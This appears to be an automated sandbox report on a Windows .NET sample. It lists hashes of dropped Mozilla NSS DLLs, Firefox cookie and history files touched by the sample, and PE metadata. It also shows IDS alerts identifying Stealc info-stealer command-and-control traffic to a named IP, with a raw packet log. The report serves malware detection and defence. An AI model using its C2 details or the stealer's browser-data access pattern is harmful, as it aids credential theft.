SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.986211551617056
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	324'608 bytes
MD5:	48b59bd4c9219cc6f4bca6a45642dcbd
SHA1:	e9a3185cf22da2569a55ed64253f0a16b60070d9
SHA256:	0411c3152398d2ce23e4bf07868adf49a5d24fe27558cbd92fb8fcb787b926de
SHA512:	c83e47b6690e8807f1f3e78345e488d88be4c851de9cf47db22b3a56747579a9b6ec49b41e22c84e41d795bf5e1e2162a04778886911efabef16783475b49765
SSDEEP:	6144:1ZGJnK41dgy48a2905kAfUMsFKGu22WFYzbUXZ+N:1ZpAdgy6kJMsHoWS4X0
TLSH:	7D6423851BD7CD91CB695670C8F66184AFB8FBC54A075F8F06EFC990E8724B11A2E48C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................~.... ... ....@.. .......................`............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x45087e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F6A680 [Fri Sep 27 12:35:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x50830	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x5c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x506f8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x4e884	0x4ea00	6bb5c26946162a6db7f235e1639a8658	False	0.9924980127186009	Applesoft BASIC program data, first line number 5	7.994101274971393	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x52000	0x5c8	0x600	4b8724cf34813235cb4cd1a072b648ee	False	0.435546875	data	4.1152851568428055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x54000	0xc	0x200	cf8fca4628e4083153e3198da5de8b5b	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x520a0	0x334	data			0.4426829268292683
RT_MANIFEST	0x523d8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T18:29:00.934026+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:01.329537+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:01.335850+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	194.87.29.53	80	192.168.2.4	60865	TCP
2024-09-27T18:29:01.525467+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:01.532910+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	194.87.29.53	80	192.168.2.4	60865	TCP
2024-09-27T18:29:01.950162+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:02.156891+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:05.509995+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:06.307208+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:07.019830+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:07.514483+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:09.370758+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP
2024-09-27T18:29:09.746754+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	60865	194.87.29.53	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 18:28:59.750828981 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:28:59.755875111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:28:59.755951881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:28:59.756114006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:28:59.761145115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:00.401245117 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:00.401371956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:00.421952009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:00.427002907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:00.933902979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:00.934026003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.134071112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.139183044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.329437017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.329462051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.329536915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.331037045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.335850000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525324106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525372028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525382996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525391102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525396109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525440931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525454044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.525466919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.525530100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.527936935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.532910109 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.720340967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.720519066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.740109921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.740147114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.744987011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.744997978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.745006084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.745156050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.745225906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.745234013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.745311022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.950100899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:01.950161934 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.952052116 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:01.957201958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.156794071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.156830072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.156843901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.156891108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.156935930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.163350105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.163404942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.163414955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.163427114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.163444042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.163469076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.167840958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.167933941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.167943001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.167946100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.167974949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.167988062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.183881998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.183917046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.183927059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.183945894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.183974028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.185437918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.185458899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.185467958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.185494900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.185513020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.197391033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.197412968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.197422981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.197451115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.197470903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.197491884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.209146976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.209229946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.209230900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.209278107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.209333897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.209388971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.220906973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.220994949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.221019030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.221029997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.221075058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.232314110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.232378006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.232402086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.232412100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.232458115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.244566917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.244643927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.244652987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.244694948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.244713068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.256201029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.256237030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.256247044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.256277084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.256302118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.267750025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:02.267816067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:02.267817020 CEST	80	60865	194.87.29.53	192.168.2.4
